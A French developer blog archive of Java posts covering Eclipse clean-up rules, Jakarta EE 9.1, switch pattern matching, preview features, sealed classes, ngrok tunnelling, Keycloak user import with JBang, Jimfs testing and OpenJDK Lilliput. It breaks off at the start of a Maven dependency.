(Organisation de code) Utilisation de comparateur implicite

public class Cleanup_9_UtilisationComparateurImplicite {
    public void maMethode(List<Date> listeAtrier) {
    	Collections.sort(listeAtrier, new Comparator<Date>() {

			@Override
			public int compare(Date arg0, Date arg1) {
				return arg0.compareTo(arg1);
			}
		});
    }
}

devient

public class Cleanup_9_UtilisationComparateurImplicite {
    public void maMethode(List<Date> listeAtrier) {
    	Collections.sort(listeAtrier);
    }
}

(Code non nécessaire) Creation de tableau avec les accolades

public class Cleanup_10_CreationTableauAvecAccolades {
    public int maMethode() {
    	int[][] tableauEntier = new int[][] { { 42 } };
    	return tableauEntier.length;
    }
}

devient

public class Cleanup_10_CreationTableauAvecAccolades {
    public int maMethode() {
    	int[][] tableauEntier = { { 42 } };
    	return tableauEntier.length;
    }
}

(Code non nécessaire) Suppression de la variable avant le retour de la méthode

public class Cleanup_11_SuppressionVariableAvantRetour {
    public int maMethode() {
    	int i = 0;
    	return i;
    }
}

devient

public class Cleanup_11_SuppressionVariableAvantRetour {
    public int maMethode() {
    	return 0;
    }
}

Remplacer les appels des propriétés par leurs constantes

A noter que ces méthodes existent depuis Java 7.

public class Cleanup_12_RemplacerProprietesParConstante {
    public void maMethode() {
    	String s = System.getProperty("file.separator");
    	String t = System.getProperty("line.separator");
    	String u = System.getProperty("file.encoding");
    	String v = System.getProperty("path.separator");
    	Boolean x = Boolean.parseBoolean(System.getProperty("ma.propriete"));
    }
}

devient

public class Cleanup_12_RemplacerProprietesParConstante {
    public void maMethode() {
    	String s = FileSystems.getDefault().getSeparator();
    	String t = System.lineSeparator();
    	String u = Charset.defaultCharset().displayName();
    	String v = File.pathSeparator;
    	Boolean x = Boolean.getBoolean("ma.propriete");
    }
}

Le tester soi-même.

Pour tester facilement, je vous ai préparé un projet disponible sur github.

pré-requis : Eclipse 2021-06 installé.

Pour cela, il faut réaliser les opérations suivantes :

Recupérer le code à partir du dépôt
Charger le projet 2021-07-Eclipse-2021-06
Charger le fichier de configuration ide/regles-nettoyage-de-code.xml au niveau de l’outil de nettoyage (au niveau des préférences Eclipse)
Vous avez les exemples de code de ce billet dans le package fr.lbenoit.billets.codes_sources.eclipse, il suffit de réaliser cliquer droit > Source > Clean up…

Profites-en.

Références

PAge wiki sur Simultaneous Release
Liste complète des nouveautés
Evolution de la partie JDT
une video (en anglais) présente les nouveautés.

Jakarta EE 9.1 est sortie

dim., 20 juin 2021 00:00:00 +0200

Table of Contents

Contexte
- Jakarta EE en chiffres :
Le principe
Mise à jour
Implémentation Compatible
- Jakarta EE 9.1 Platform :
- Jakarta EE 9.1 Web Profile :
Références

Contexte

Six mois après la sortie de Jakarta EE 9.0, une nouvelle version (Jakarta EE Platform 9.1) est sortie. La plateforme est constitué d’un ensemble d’API dont les plus connus sont : Servlets, JPA, JAX-RS et CDI.

Jakarta EE en chiffres :

34 projets
41 spécifications
51 dépôts GIT
120 committeurs

Le principe

C’est une version mineure. Il n’y a pas d’évolution sur les API par rapport à la version 9.0. Cette version inclut le support de Java 11. Néanmoins les sources restent compilées avec un niveau Java 8.

Pour rappel, la version Jakarta EE 9.0 correspond notamment au changement de nommage des packages de javax.* à jakarta.*.

Sur cette règle générale, il y a quelques exceptions :

javax.sql.*
javax.transaction.xa.*
javax.xml.*
javax.naming.*
javax.swing.*

Ce qui est normale car les packages ci-dessus font partie du Java SE et non de Java EE / Jakarta EE.

Mise à jour

Pour mettre à jour vos pom, voici les dépendances à changer en fonction du profil retenu.

Dépendances Maven pour Jakarta EE Platform 9.1

<dependency>
  <groupId>jakarta.platform</groupId>
  <artifactId>jakarta.jakartaee-api</artifactId>
  <version>9.1.0</version>
</dependency>

Dépendances Maven pour Jakarta EE Web profile 9.1

<dependency>
  <groupId>jakarta.platform</groupId>
  <artifactId>jakarta.jakartaee-web-api</artifactId>
  <version>9.1.0</version>
</dependency>

Implémentation Compatible

Voici la liste des implémentations qui sont compatibles à ce jour selon le profil considéré.

Jakarta EE 9.1 Platform :

Eclipse Glassfish (6.1 RC1)
ManageFish Server (6.1.0)
Open Liberty (21.0.0.3)
Wildfly (23.0.2)

Jakarta EE 9.1 Web Profile :

Apache TomEE (9.0.0-M7)
Eclipse Glassfish (6.1 RC1)
Open Liberty (21.0.0.3)
Wildfly (23.0.2)

La liste actualisée est disponible sur le site du projet

Références

JEP 406 Pattern Matching for switch (Preview)

dim., 6 juin 2021 00:00:00 +0200

Table of Contents

Contexte
Le principe
Gestion de la valeur nulle
Pattern 'switch label'
Filtrage gardé
Références

Contexte

Faisant suite à la JEP 394 sur le filtrage par motif pour instanceof, nous avons la version du filtrage pour le switch. Pour rappel, le filtrage par motif pour instanceof permet la nouvelle écriture suivante :

// Ancien code
if (o instanceof String) {
    String s = (String)o;
    // s est utilisable
	...
}

// Nouveau code
if (o instanceof String s) {
    // s est utilisable
	...
}

Vous retrouverez plus d’informations dans mon billet Billet sur les nouveautés de Java 16.

Le principe

Si nous avons des conditions imbriquées car il existe plusieurs types possibles. Nous obtenons le code suivant :

static String formatter(Object o) {
    String formatted = "unknown";
    if (o instanceof Integer i) {
        formatted = String.format("int %d", i);
    } else if (o instanceof Long l) {
        formatted = String.format("long %d", l);
    } else if (o instanceof Double d) {
        formatted = String.format("double %f", d);
    } else if (o instanceof String s) {
        formatted = String.format("String %s", s);
    }
    return formatted;
}

L’objectif est de pouvoir utiliser un switch (et même une expression switch plus exactement).

static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -> String.format("int %d", i);
        case Long l    -> String.format("long %d", l);
        case Double d  -> String.format("double %f", d);
        case String s  -> String.format("String %s", s);
        default        -> o.toString();
    };
}

Le code est concis et claire. Et c’est cela qui est génial.

Gestion de la valeur nulle

La valeur null n’est normalement pas autorisée pour un switch. Il est nécessaire de le protéger. Cela donne généralement le code suivant :

static void testFooBar(String s) {
    if (s == null) {
        System.out.println("oops!");
        return;
    }
    switch (s) {
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Nous pouvons traiter simplement le cas de la valeur nulle avec le code suivant :

static void testFooBar(String s) {
    switch (s) {
        case null         -> System.out.println("Oops");
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Cela fonctionne aussi si nous souhaitons traiter la valeur nulle avec une autre valeur.

static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -> System.out.println("String: " + s);
    }
}

Pattern 'switch label'

Expressoin de sélection

Nous pouvons une selection sur les types suivants :

Classes
Enregistrements
Tableau
Cas par défaut
Cas du null cité plus haut.

record Point(int i, int j) {}
enum Color { RED, GREEN, BLUE; }

static void typeTester(Object o) {
    switch (o) {
        case null     -> System.out.println("null");
        case String s -> System.out.println("String");
        case Color c  -> System.out.println("Color with " + c.values().length + " values");
        case Point p  -> System.out.println("Record class: " + p.toString());
        case int[] ia -> System.out.println("Array of ints of length" + ia.length);
        default       -> System.out.println("Something else");
    }
}

La dominance

l’exemple suivant ne fonctionne pas.

static void error(Object o) {
    switch(o) {
        case CharSequence cs ->
            System.out.println("A sequence of length " + cs.length());
        case String s ->    // Erreur -  Le filtrage est dominé par le motif précédent.
            System.out.println("A string: " + s);
        default -> {
            break;
        }
    }
}

En effet, toute chaine de caractère sera par héritage une instance de CharSequance. Donc le premier motif est aussi valable.

La complétude

L’exemple ci-dessous ne fonctionne pas.

static int coverage(Object o) {
    return switch (o) {         // Erreur - incomplete
        case String s  -> s.length();
        case Integer i -> i;
    };
}

En effet, tous les cas ne sont pas traités. Il faut à minima inclure le cas default. Cela donne le code suivant :

static int coverage(Object o) {
    return switch (o) {
        case String s  -> s.length();
        case Integer i -> i;
        default -> 0;
    };
}

Classes scéllées

Avec les classes scéllées, nous pouvons tous énumérer. Dans ce cas, le cas default n’est plus nécessaire.

sealed interface S permits A, B, C {}
final class A implements S {}
final class B implements S {}
record C(int i) implements S {}  // Implicitly final

static int testSealedCoverage(S s) {
    return switch (s) {
        case A a -> 1;
        case B b -> 2;
        case C c -> 3;
    };
}

Valeur nulle

Normalement, la valeur nulle n’est pas autorisé dans un switch. Cela lève une exception de type NullPointerException

static void test(Object o) {
    switch (o) {
        case String s  -> System.out.println("String: " + s);
        case Integer i -> System.out.println("Integer");
        default  -> System.out.println("default");
    }
}

Pour garder le comportement, cela équivaux au code précédent.

Filtrage gardé

static void test(Object o) {
    switch (o) {
		case null      -> throw new NullPointerException();
        case String s  -> System.out.println("String: " + s);
        case Integer i -> System.out.println("Integer");
        default  -> System.out.println("default");
    }
}

Références

JEP 12 Preview features (Aperçu)

dim., 6 juin 2021 00:00:00 +0200

Table of Contents

Contexte
Le principe
Fonctionnement
Références

Contexte

En s’intéressant sur les nouvelles fonctionnalités du JDK, nous en voyons certaines en mode aperçu (preview). Ce mode a été introduit en 2018 dans le JDK 12. La première utilisation a été pour les expressions switch (JEP 325 Switch Expressions (Preview)).

Le principe

L’objectif est d’apporter des nouveautés au niveau du langage, de la JVM ou l’API Java SE. Le point important est que la fonctionnalité est complètement spécifiée et complètement implémentée mais pas de manière permanente. En effet, l’objectif est de fournir la fonctionnalité en standard dans une prochaine version mais avant l’équipe souhaite avoir un retour et des commentaires sur la fonctionnalité.

Fonctionnement

Par défaut, les fonctionnalités en mode aperçu sont désactivées. Il est nécessaire de rajouter le paramètre --enable-preview. Les exemples ci-dessous sont pour un JDK 16.

Activation à la compilation

javac Programme.java                                // Pas d’aperçu activé (1)
javac --release 16 --enable-preview Programme.java  // Tous aperçu du JDK 16 activés (2)
javac --release 15 --enable-preview Programme.java  // PAS AUTORISE (3)

par défaut, pas d’aperçu activé
les aperçus Java 16 sont disponibles avec un JDK 16
les aperçus Java 15 ne sont pas disponibles avec un JDK 16

Les aperçus pouvant évolués en fonction des retours. La JVM peut uniquement activé les aperçus correspondant à sa version.

Activation à l’exécution

java Programme                            // Pas d’aperçu activé (1)
java --enable-preview Programme           // Tous aperçu du JDK 16 activés (2)
java --enable-preview -jar Programme.jar  // Tous aperçu du JDK 16 activés (3)
java --enable-preview -m Prg              // Tous aperçu du JDK 16 activés (4)

par défaut, pas d’aperçu activé
mode classpath avec le nom du programme
mode classpath avec une archive
mode module

Configuration via Maven

Côté Maven, il faut passer les paramètre pour les plugins suivante :

maven-compiler-plugin
maven-surefire-plugin

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-compiler-plugin</artifactId>
    <version>3.8.0</version>
    <configuration>
        <release>16</release>
        <compilerArgs>--enable-preview</compilerArgs>
    </configuration>
</plugin>
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-surefire-plugin</artifactId>
    <version>3.0.0-M3</version>
    <configuration>
        <argLine>--enable-preview</argLine>
    </configuration>
</plugin>

Configuration d’Eclipse

La configuration est faite au niveau des propriétés du projet dans le volet Compilateur Java.

Références

JEP 12 Preview features

JEP 409 Classes scellées

dim., 23 mai 2021 00:00:00 +0200

Table of Contents

Contexte
Principe
Exemple d’utilisation
Références

Contexte

Je vous avais présenté la fonctionnalité au moment de la sortie du JDK 16. Cette fonctionnalité était en mode Aperçu. Maintenant que c’est en standard dans le langage, profitons pour regarder cela de plus prêt.

Aucune modification a été apporté par rapport à la JEP 397 Sealed classes (Second Preview)

Principe

Le but est d’enrichir l’héritage afin d’amener plus de contrôle. En effet, actuellement, nous avons uniquement le mot clé final. Cela permet de bloquer l’héritage. Donc, nous ne peuvons pas avoir des classes dérivées.

package fr.exemple.;

public final class Forme {
	...
}

public final class Rectangle extends Forme { // Erreur de compilation
 	...
}

Les classes scellées sont un moyen pour le développeur d’avoir plus de contrôle. Pour cela, nous avons deux nouveaux mot clés sealed et non-sealed :

sealed : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé permits à utiliser.
non-sealed : permet de ne pas limiter les classes dérivées.

Par exemple, nous avons :

package fr.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle {
	...
}

Nous définissons une classe abstraite Forme dont seules les classes Cercle et Rectangle sont autorisées comme classes dérivées.

Par conséquent, si le développeur essaie d’écrire l’héritage pour une autre classe. Cela provoquera une erreur de compilation si nous essayons.

package fr.exemple.geometrie;

public class Triangle extends Forme  { // Erreur de compilation
	...
}

Précision pour le mot-clé `permits`

Si les classes dérivées sont dans le même fichier. Le mot clé permits n’est pas nécessaire.

package fr.exemple.geometrie;

public abstract sealed class Forme {
	...

    public final class Cercle extends Forme {
        ...
    }

    public non-sealed class Rectangle extends Forme {
        ...
    }

}

Précision pour le mot-clé `non-sealed`

Du fait que nous avons précisé que la classe Rectangle n’est pas scellée. Nous pouvons hériter de cette classe. Par exemple, nous pouvons avoir la classe Carré définie ainsi :

package fr.exemple.geometrie;

public final class Carre extends Rectangle {
	...
}

Interfaces

Cela fonctionne aussi avec les interfaces

package fr.exemple.geometrie;

public sealed interface Forme
    permits Cercle, Rectangle, Carre {
	...
}

Enregistrements

Les enregistrements peuvent être utilisés pour l’héritage.

Pour rappel, les enregistrements sont des classes. Elles ne peuvent pas hérités d’autres classes (puisque héritage vers Record) mais elles peuvent implémenter une ou plusieurs interfaces.

Ci dessous un exemple avec les enregistrements :

public sealed interface Noeud
	permits Noeud.Feuille, Noeud.Multiplication, Noeud.Addition {

	public double eval();

	public record Feuille(double val) implements Noeud {
		public double eval() {
			return val;
		}
	}
    ...

}

J’avais utilisé cet exemple lors de conférence sur les nouveautés de Java 16. Le code complet de cet exemple est disponible sur mon github.

Exemple d’utilisation

Cela sera peut-être plus utile pour les personnes qui développent des librairies afin de maitriser les classes et éviter que certains classes soient étendues.

Le JDK prévoit son utilisation par exemple pour protéger certaines interfaces. Par exemple, l’interface ClassDesc où la javadoc indique clairement son usage quand les classes scellées seront disponibles en standard.

Références

Comment tester une application locale via Internet avec ngrok

dim., 16 mai 2021 00:00:00 +0200

Table of Contents

Contexte
Le principe
Module Serveur
Module Client
Utilisation
Outils de suivi
Références

Contexte

De nos jours, il existe un certain nombre d’outils en ligne pour aider le développeur. Ces outils permettent de réaliser des analyses sur une page et de fournir des recommandations. Nous avons par exemple l’outil Google Console Search qui permet de voir comment le moteur de recherche récupère les informations de notre page.

Autre cas : Tester une application mobile qui doit appeler une API dont nous voudrions vérifier le comportement sur le poste de développement.

Cependant, pour l’outil ou d’autres, la page ou l’API doivent être disponible sur Internet. Et c’est là que l’outil ngrok intervient.

Le principe

Il se décompose en deux parties : un module serveur et un module client.

Voici le déroulement :

Le module serveur est disponible sur Internet (le site https://ngrok.com).
Nous lançons le module client sur le poste local (ou la machine qui contient le service à exposer). C’est ce dernier qui se connecte au module serveur.
De là, le serveur met à disposition une nouvelle url.
Cette nouvelle url est accessible sur Internet.
Lors de l' accès à cette url, la demande sera transférée vers le module client (par le biais d’un tunnel mis en place entre le client et le serveur).

Il n’y a pas de problème avec les pare-feux car c’est le programme client qui se connecte à Internet (Nous sommes dans le bon sens).

Module Serveur

Le serveur est un service en ligne. Donc il n’y pas d’installation mais un compte à créer sur le site https://ngrok.com

Il existe plusieurs plans. Pour mon usage, le plan FREE à $0 est suffisant (for ever au moment de l’écriture de ce billet).

Une fois le compte créé, vous allez pouvoir récupérer le token. Cela permettra au client de s’authentifier auprès du serveur. Pour cela, allez dans le menu Getting Started > Your Authtoken.

Si vous avez une solution en hébergement autonome, n’hésitez pas à me laisser un commentaire (en bas de ce billet)

Module Client

Là, il faut installer le module client en local (ou sur la machine où il y a le service que nous souhaitons interroger via Internet).

Je ne traiterai que le cas de Linux dans ce billet, mais le programme est disponible sur plusieurs système d’exploitations libres ou non.

La première opération est de télécharger l’archive en allant sur le site https://ngrok.com/download puis nous allons la décompresser :

unzip ngrok-stable-linux-amd64.zip

Et c’est tout pour l’installation. Il y a juste un exécutable à démarrer.

Il n’y a pas besoin d’avoir le droit d’administrateur sur la machine.

En revance, Il va être nécessaire de renseigner notre token (la clé d’authentification). Pour cela, nous allons utiliser la commande suivante :

./ngrok authtoken <mon-token>

Pour information, il va stoker le token dans le fichier ~/.ngrok2/ngrok.yml

Utilisation

Nous allons simplement lancer le programme en précisant deux arguments, nous aurons :

./ngrok http 8820

./ngrok http localhost:8820

Le premier argument permet d’indiquer que nous souhaitons utiliser le protocole http. Il est possible de réaliser des tunnels tcp ou tls avec l’option éponyme à la place de http.

Le second argument est soit tout simplement le numéro de port (l’hôte sera localhost), soit nous précisons l’hôte et le numéro de port séparé par le caractère deux points.

A ce moment là, le tunnel devient actif. Nous pouvons voir l’état et notamment l’url publique à utiliser.

ngrok by @inconshreveable                                                                                                       (Ctrl+C to quit)

Session Status                online
Account                       Lilian BENOIT (Plan: Free)
Version                       2.3.40
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://1876d82f999d.ngrok.io -> http://localhost:8820
Forwarding                    https://1876d82f999d.ngrok.io -> http://localhost:8820

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00

Maintenant, nous allons pouvoir prendre un navigateur pour accèder à l’url (par exemple sur mon téléphone portable)

A noter que le programme client ne rend pas la main. Pour l’arrêter, il faudra réaliser un CTRL+C dans le terminal.

Outils de suivi

Il existe différents outils à notre disposition pour suivre les différents échanges.

mode console

Nous pouvons simplement regarder la console, les différents appels sont visibles.

...
Connections                   ttl     opn     rt1     rt5     p50     p90
                              41      0       0.08    0.08    0.31    30.40

HTTP Requests
-------------

GET /resources/img/main/astuce.png                       200 OK
GET /resources/css/phlat.css                             200 OK
GET /resources/js/readingTime.js                         200 OK
GET /resources/css/phlat-custom.css                      200 OK
GET /resources/img/blog/2021/05/ngrok-par-navigateur.png 200 OK
GET /resources/img/main/avertissement.png                200 OK
GET /resources/js/bootstrap.min.js                       200 OK
GET /resources/js/jquery-2.2.1.min.js                    200 OK
GET /resources/js/highlight.min.js                       200 OK
GET /resources/img/blog/2021/05/ngrok-authtoken.png      200 OK

mode web

En lançant le client, nous avons une interface web à notre disposition pour visualiser les appels et tous les détails :

le temps d’accès
Informations sur la requête (résumé, en-tête, brut et binaires)
Informations sur la réponse (résumé, en-tête, brut et binaires)

L’accès est sur le port 4040 par défaut. Pour être sûr, l’url est affichée dans la console lors du démarrage du module client.

Prenez votre navigateur et allez à l’url http://localhost:4040

Un onglet status est disponible. Cela permet d’avoir des métriques.

console ngrok

Sur la console https://ngrok.com, il est possible de voir la liste des points d’entrée disponible.

Lors de mon test, nous pouvons voir que nous avons deux points d’entrée actifs : Le premier en http et le second en https

Références

Comment importer facilement des utilisateurs Keycloak avec JBang

dim., 2 mai 2021 00:00:00 +0200

Table of Contents

Contexte
C’est parti !
Lecture du fichier d’entrée
Ecriture du fichier de sortie
Configuration de l’outil
Exécution
Utilisation l’outil Keycloak-Config-Cli
Références

Contexte

Lorsque nous mettons en place un nouveau système, il est souvent nécessaire d’effectuer une reprise. les exports disponibles sont très souvent un fichier xls ou csv.

La sécurité ne déroge pas à la règle. Nous allons étudier dans ce billet l’importation des utilisateurs lors de la mise à en place de la solution Keycloak.

Bien que Keycloak possède une API REST Admin, nous allons passé par un outil de la communauté Keycloak : keycloak-config-cli.

C’est donc un outil non officiel de Keycloak mais il est très pratique. Cela permet de réaliser de la "Configuration as Code for Keycloak". C’est à dire qu’à partir d’un fichier de configuration yaml ou json, il est possible de configurer complètement Keycloak.

En effet, Keycloak est très configurable avec beaucoup d’options de configuration. Si la configuration est faite manuellement, cela peut amener des configurations différentes entre les environnements et produire des problèmes. Le fait que cela soit dans un fichier de configuration, nous pouvons ainsi nous assurer de reproduire la même configuration sur l’ensemble des environnements.

Nous allons utiliser seulement la partie concernant la configuration des utilisateurs pour réaliser l’importation. Le fichier doit avoir le format suivant :

{
  "enabled": true,
  "realm": "realmWithUsers",
  "users": [
    {
      "username": "moi",
      "email": "prenom.nom@mail.fr",
      "enabled": true,
      "firstName": "mon prenom",
      "lastName": "mon nom"
    }
  ]
}

Coté export des utilisateurs, nous avons un fichier csv ayant les colonnes suivantes :

User Login
User Email
First Name
Last Name

C’est parti !

Nous avons besoin de générer un fichier json à partir du fichier csv. Nous pourrions passer par un script bash ou un batch Java. Finalement, j’ai opté pour jbang. L’occasion de le mettre à l’épreuve dans un cas d’usage.

Si vous ne connaissez pas cet outil, je vous invite à lire mon article précédent sur le sujet JBang, Script en java.

Nous initialisons notre script avec le commande suivante :

jbang init -t cli UsersCSVtoKeycloakJSON.java

Lecture du fichier d’entrée

Nous commençons par lire le fichier en utilisant le schéma try-with-resource. Nous utilisons aussi l’API NIO pour récupérer l’instance BufferedReader.

Path csvFichier = Path.of(fichier.getAbsolutePath());
try (BufferedReader breader = Files.newBufferedReader(csvFichier, StandardCharsets.UTF_8)) {
  ...
}

Il est possible à partir d’un BufferedReader de lire un fichier en utilisant les flux ("Stream"). Il en découle le code suivant :

  utilisateurs = breader.lines() //(1)
                        .skip(1) //(2)
                        .map(ligne -> ligne.split(";")) //(3)
                        .filter(colonnes -> colonnes.length >= 4) //(4)
                        .map(colonnes -> { //(5)
                            String login = colonnes[0];
                            String email = colonnes[1];
                            String prenom = colonnes[2];
                            String nom = colonnes[3];
                            return new Utilisateur(login, nom, prenom, email);
                        })
                        .filter(Utilisateur::isEmailValide) (6)
                        .collect(Collectors.toList()); (7)

Lecture du fichier via un flux ("stream") : Stream<String>
Permet d’ignorer la ligne contenant l’en-tête du fichier csv
Permet de découper chaque ligne avec le séparateur, on obtient Stream<String[]
Vérification que la ligne est valide avec au moins 4 colonnes
Récupération des colonnes pour créer une instance d’Utilisateur : Stream<Utilisateur>
Vérification que l’adresse mail est valide
Collecte du flux en une liste d’utilisateurs : List<Utilisateur>

Maintenant que les enregistrements sont disponibles. Profitons-en.

record Utilisateur(String login, String nom, String prenom, String email) {
    Utilisateur {
        login = login.trim().toLowerCase(); // (1) (2)
        nom = nom.trim(); // (1)
        prenom = prenom.trim(); // (1)
        email = email.trim(); // (1)
    }

    boolean isEmailValide() { //(3)
        return this.email().length() > 1;
    }
}

Suppression des espaces superflus devant et derrière. (Réaffectation du composant)
Le nom d’utilisateur sur Keycloak est forcément en minuscule. Nous protégeons en conséquence.
Définition d’une méthode pour valider que l’adresse mail est correcte. (Nous pourrions augmenter les tests)

Ecriture du fichier de sortie

Comme nous avons pu le voir plus haut, nous pouvons décomposé le fichier de sortie en 3 parties :

Un bloc pour l’en-tête
Un bloc pour chaque utilisateur
Un bloc pour le pied du fichier

Les Blocs de textes sont super pratiques pour cela :

public static String DEBUT_FICHIER_JSON = """
        {
            "enabled": true,
            "realm": "%s",
            "users": [
        """;

public static String UTILISATEUR_ENTREE = """
            {
                "username": "%s",
                "email": "%s",
                "enabled": true,
                "firstName": "%s",
                "lastName": "%s"
            }
    """;

public static String FIN_FICHIER_JSON = """
            ]
        }
        """;

Les blocs sont clairs sans caractère parasite et c’est appréciable.

En jouant sur l’emplacement des 3 guillemets fermants, nous pouvons ainsi générer un fichier correctement indenté. (même si cela est surtout pour nous).

Globalement, le principe est simple avec un parcours des utilisateurs lus précédemment :

try (BufferedWriter buffer = Files.newBufferedWriter(jsonFichier,
        StandardCharsets.UTF_8,
        StandardOpenOption.CREATE)) { // (1)
    ...
    buffer.append(String.format(DEBUT_FICHIER_JSON, nomRoyaume)); // (2)
    for (Utilisateur u : utilisateurs) { // (3)
        ...
        buffer.append(String.format(UTILISATEUR_ENTREE, u.login(), u.email(),
          u.prenom(), u.nom())); // (4)
    }
    buffer.append(FIN_FICHIER_JSON); // (5)
}

Ouverture du fichier
Ecriture du bloc d’en-tête du fichier
Boucle pour chaque utilisateur
Ecriture du bloc utilisateur pour l’utilisateur courant
Ecriture du bloc de fin de fichier

Il ne reste plus à traiter la virgule entre chaque bloc utilisateur avec la particularité du premier utilisateur.

if (premier) {
    premier = false;
} else {
    buffer.append("        ,\n");
}

Configuration de l’outil

Ayant sélectionné le modèle cli, nous avons la librairie picocli. Nous pouvons en profiter pour rajouter les 3 options suivantes à notre outil :

Nom du fichier CSV d’entrée
Nom du fichier JSON de sortie
Nom du royaume ("realm")

  @Option(names = { "-r", "--realmName" }, required = true, paramLabel = "ROYAUME", description = "Nom du royaume")
  String nomRoyaume; // realmName

  @Option(names = { "-f", "--file" }, required = true, paramLabel = "FICHIER", description = "Fichier CSV d'entrée")
  File fichier;

  @Option(names = { "-o",
          "--output" }, required = true, paramLabel = "FICHIER", description = "Fichier JSON de sortie")
  File sortie;

Et voilà, le tour est joué.

Le Script Complet: UsersCSVtoKeycloakJSON.java est disponible sur github.

Exécution

Nous pouvons exécuter notre script.

Utilisant les enregistrements, il faudra utiliser un JDK 16 (ou 15 avec --enable-preview). Sinon, il faudra passer par une classe (moins élégant).

jbang UsersCSVtoKeycloakJSON.java  --file tests-users.csv --output tests-users.json --realmName test

ou directement

./UsersCSVtoKeycloakJSON.java  --file tests-users.csv --output tests-users.json --realmName test

Utilisation l’outil Keycloak-Config-Cli

Maintenant que nous avons généré le fichier tests-users.json avec notre script, nous allons pouvoir utiliser l’outil keycloak-config-cli.

java -jar keycloak-config-cli-12.0.4.jar --keycloak.url=https://<mon_serveur_keycloak>/auth --keycloak.ssl-verify=false --keycloak.user=<compte_admin> --keycloak.password=<password> --import.path=./users.json

A vous de jouer ! N’hésites pas à me faire un retour sur ce billet via les commentaires ou twitter.

Références

Jimfs Comment simplifier les tests

sam., 24 avr. 2021 00:00:00 +0200

Table of Contents

Contexte
Déclaration
Utilisation
Bonus
Références

Contexte

Lors des tests, nous sommes quelquefois amené à réaliser des opérations sur des fichiers. L’API Java nous offre bien la possibilité de créer des fichiers temporaires, mais cela rend quand même le code plus complexe.

C’est là qu’intervient la librairie Jimfs qui va nous aider. C’est une librairie qui implémente l’API NIO de Java (7+) en tant que système de fichiers en mémoire.

Pour rappel, l’API NIO de java fournit des classes comme Path, Files, FileSystem et d’autres qui permettent de réaliser des opérations sur les répertoires et les fichiers.

En évitant les opérations de lecture et l’écriture sur disque, cela permet aussi d’améliorer le temps d’exécution car il n’y a plus d’entrées-sorties (opérations par définition longue). Tout se passe en mémoire.

Déclaration

Disponible sur Maven Central, il suffit d’indiquer la dépendance.

<dependency>
    <groupId>com.google.jimfs</groupId>
    <artifactId>jimfs</artifactId>
    <version>1.1</version>
</dependency>

C’est une librairie réalisée et maintenue par Google

Utilisation

La seule particularité est la manière de récupérer le système de fichiers.

FileSystem fs = Jimfs.newFileSystem();

Pour le reste, comme cité plus haut, nous utilisons simplement l’api Java NIO.

Création de répertoire :

Path repertoire = fs.getPath(NOM_REPERTOIRE);
Files.createDirectories(repertoire);

Création de fichier :

Path fichier = repertoire.resolve(NOM_FICHIER);
Files.write(fichier, ImmutableList.of("Hello World"), StandardCharsets.UTF_8);

Dans l’exemple, j’ai utilisé la méthode Files.write pour écrire le contenu du fichier. Cependant, il est possible de passer par la classe BufferedWriter ou la classe BufferedReader. Voici un exemple pour la lecture du fichier

try (BufferedReader breader = Files.newBufferedReader(fichier)) {
    return (breader.readLine().length());
}

Bien sûr, mais c’est quand même mieux quand c’est écrit : Il faut que la variable fichier de type Path soit construite à partir du système de fichiers.

Bonus

Ce qui est aussi très intéressant, c’est aussi le support des différents systèmes de fichiers. De ce coté, la liste est complète :

Windows
Mac OS
Unix

Cela permet de tester le comportement avec des chemins Windows bien que nous soyons sur un système Linux.

Pour cela, il suffit de préciser la configuration lors de la construction de l’instance FileSystem

FileSystem fs = Jimfs.newFileSystem(Configuration.windows());
Path repertoire = fs.getPath("C:\\mon-dossier");
Files.createDirectories(repertoire);

assertEquals(repertoire.getRoot().toString(), "C:\\");

Le projet supporte plein d’autres fonctionnalités de l’API NIO de Java.

Profites-en.

Références

"Java 16 - Les nouveautés" - BordeauxJUG

jeu., 22 avr. 2021 00:00:00 +0200

Voici le sujet

Java 16 est disponible depuis mars 2021. Java évolue rapidement avec cette cadence de sortie tous les 6 mois. Chaque version apporte son lot de nouveautés et la version 16 ne déroge pas à la règle.

Cependant, selon le dernier rapport 2021 de la société Snyk sur l’éco-système JVM, nous voyons que deux développeurs sur trois utilisent le JDK 8 en production et seulement un développeur sur quatre utilise un JDK 11.

Si chaque version est intéressante, la version 16 est très intéressante à 2 titres :

Certaines fonctionnalités en mode aperçu ("Preview") arrivent en standard dans le langage,

La prochaine version, Java 17, est une version LTS (Long-Term Support)

Je vous présenterai les nouvelles fonctionnalités. Pour cela, rien de mieux que de coder en direct afin de bien comprendre leurs intérêts.

Cela va transformer votre manière de coder et vous vous demanderez après comment vous avez fait sans.

Venez me rejoindre !

Vidéo de la présentation

La conférence a été filmée et elle est disponible sur Youtube

Support de la présentation

Références

OpenJDK Projet Lilliput

dim., 11 avr. 2021 00:00:00 +0200

Table of Contents

Contexte
Situation actuelle
Projet Lilliput
Références

Contexte

Avez-vous passé ce tweet ? ou cette information ?

Lilliput est un nouveau projet qui vient d’être créé au sein d’OpenJDK. Il démarre tout juste donc il n’y a pas encore d’information sur le wiki.

Néanmoins, le but a été défini lors de la proposition de création du projet. L’objectif est de travailler sur la taille mémoire des instances, notamment sur la partie d’en-tête.

Situation actuelle

Regardons, pour la VM Hotspot 64 bits, l’en-tête d’une instance est actuellement de 128 bits en deux parties :

1er bloc de 64 bits qui est appelé mark (ou lock-word) : cette zone a plusieurs utilités (Ramasse-miette générationnel, verrou de synchronisation, hascode…)
2e bloc de 64 bits qui est le pointeur vers la classe : cette zone permet de référencer la classe correspond à l’instance.

Voici la représentation :

+------------------+
| mark (Lock-word) |
+------------------+
| Class pointer    |
+------------------+
| Field 1          |
+--------+---------+
| Field 2| Field 3 |
+--------+---------+
| etc              |

Nous pouvons visualiser l’usage mémoire d’une instance en utilisant l’outil JOL (Java Object Layout) d' OpenJDK. Donc, nous allons ajouter la dépendance Maven vers JOL dans notre pom.xml.

<dependency>
